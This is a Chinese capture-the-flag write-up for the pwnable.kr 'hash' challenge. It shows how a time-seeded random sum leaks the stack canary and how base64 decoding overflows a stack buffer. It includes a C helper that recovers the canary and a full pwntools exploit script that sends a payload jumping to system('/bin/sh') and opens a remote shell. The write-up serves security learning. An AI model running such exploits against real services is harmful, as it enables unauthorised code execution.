题目简介
题目给出的信息如下:
可知该题实现了一个 MD5 计算器,并且给出了一个提示,提示稍后再说。做这道题我学到了一个新的技能,就是 python 里面的 os.popen()
的用法,觉得十分有用,希望对大家也有帮助。
分析
下载得到文件,IDA 分析得到 main
函数如下:
这里可以得知几个关键的信息,首先程序应该是产生了随机数,并且使用了当前时间为种子。然后在 main
函数中竟然调用了 system
函数。继续分析 my_hash()
函数如下:
这个函数的本意是返回几个随机数的和,然而这里有一个漏洞,返回值包含了程序的 stack canary。这里这么明显的使用了 stack canary,猜想题目是需要我们绕过 stack canary。怎么绕过后文再说,继续分析 process_hash
函数如下:
这里是对我们输入的 base64 加密后的字符串进行解密操作,存放到 v3
。然而输入字符串 g_buf
的大小为 1024,而 v3
的大小仅仅为 512。长度为 1024 的字符串 base64 解密后长度为 768,很明显会发生栈溢出。
综合分析以上得到的关键信息,stack canary,栈溢出以及给出的 system
,可以得出解题的思路是,求得 stack canary 的值进行绕过,然后通过栈溢出跳转到 call system
。
至于 stack canary 的值,在题目给出的提示里面说到,程序和 pwnable.kr 的运行环境是一样的,即是说两者的时间一致,确定了种子,在 my_hash
函数中就可以反推得到 stack canary 的值了。
wirteup
编写 cal_stack_canary.c
如下:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
int m = atoi(argv[2]); // argv[2] = captcha
int rands[8];
int i;
srand(atoi(argv[1])); // argv[1] = time
for (i = 0; i <= 7; i++)
{
rands[i] = rand();
}
m -= rands[1] + rands[2] - rands[3] + rands[4] + rands[5] - rands[6] + rands[7];
printf("%x\n", m);
return 0;
}
编写 payload.py
如下:
import os
import time
from pwn import *
context(os='linux', arch='i386', log_level='debug')
p = remote('pwnable.kr', 9002)
p.recvuntil(' : ')
captcha = p.recvline().strip()
t = int(time.time()) # time.time() return float value
cookie = int('0x' + os.popen('./cal_stack_canary %s %s' %(t, captcha)).read().strip(), 16)
p.sendline(captcha)
p.recvuntil('me!\n')
call_system_addr = 0x8049187
g_buf_addr = 0x804b0e0
payload = 0x200 * 'a'
payload += p32(cookie)
payload += 12 * 'b'
payload += p32(call_system_addr)
payload += p32(g_buf_addr + 537*4/3)
payload = b64e(payload)
payload += '/bin/sh\x00'
p.sendline(payload)
p.interactive()
payload 里面值得注意的是,p32(g_buf_addr + 537*4/3)
这里应该写作 537 而不是 536,这个和 base64 的补全有关,用 536 进行计算得出的结果是小了一点的。